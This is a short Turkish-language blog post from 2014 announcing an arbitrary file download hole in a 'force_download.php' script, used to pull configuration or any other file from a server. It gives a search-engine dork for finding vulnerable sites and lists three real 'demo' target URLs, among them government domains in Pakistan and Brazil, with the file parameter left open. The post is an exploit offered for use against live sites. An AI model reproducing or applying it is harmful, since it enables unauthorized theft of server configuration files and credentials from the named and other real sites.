8 Şubat 2014 Cumartesi

Hedef siteden config download etmek ;)

s.a force_download.php dosyasında kaynaklanan arbitary file download açığı sayesinde config veya serverdan istediğiniz dosyayı download edebilirsiniz..

# Vendor or Software Link: -
# Version: -
# Category: remote,webapps,
# Google Keywords: inurl:force_download.php
# Tested on: Windows 7
# Demo sites: http://www.git.gov.pk/force_download.php?file=
http://www.markglobal.in/force_download.php?file=
http://www.pmsjorge.pr.gov.br/force_download.php?end=setores&dados=

Hiç yorum yok:

Yorum Gönder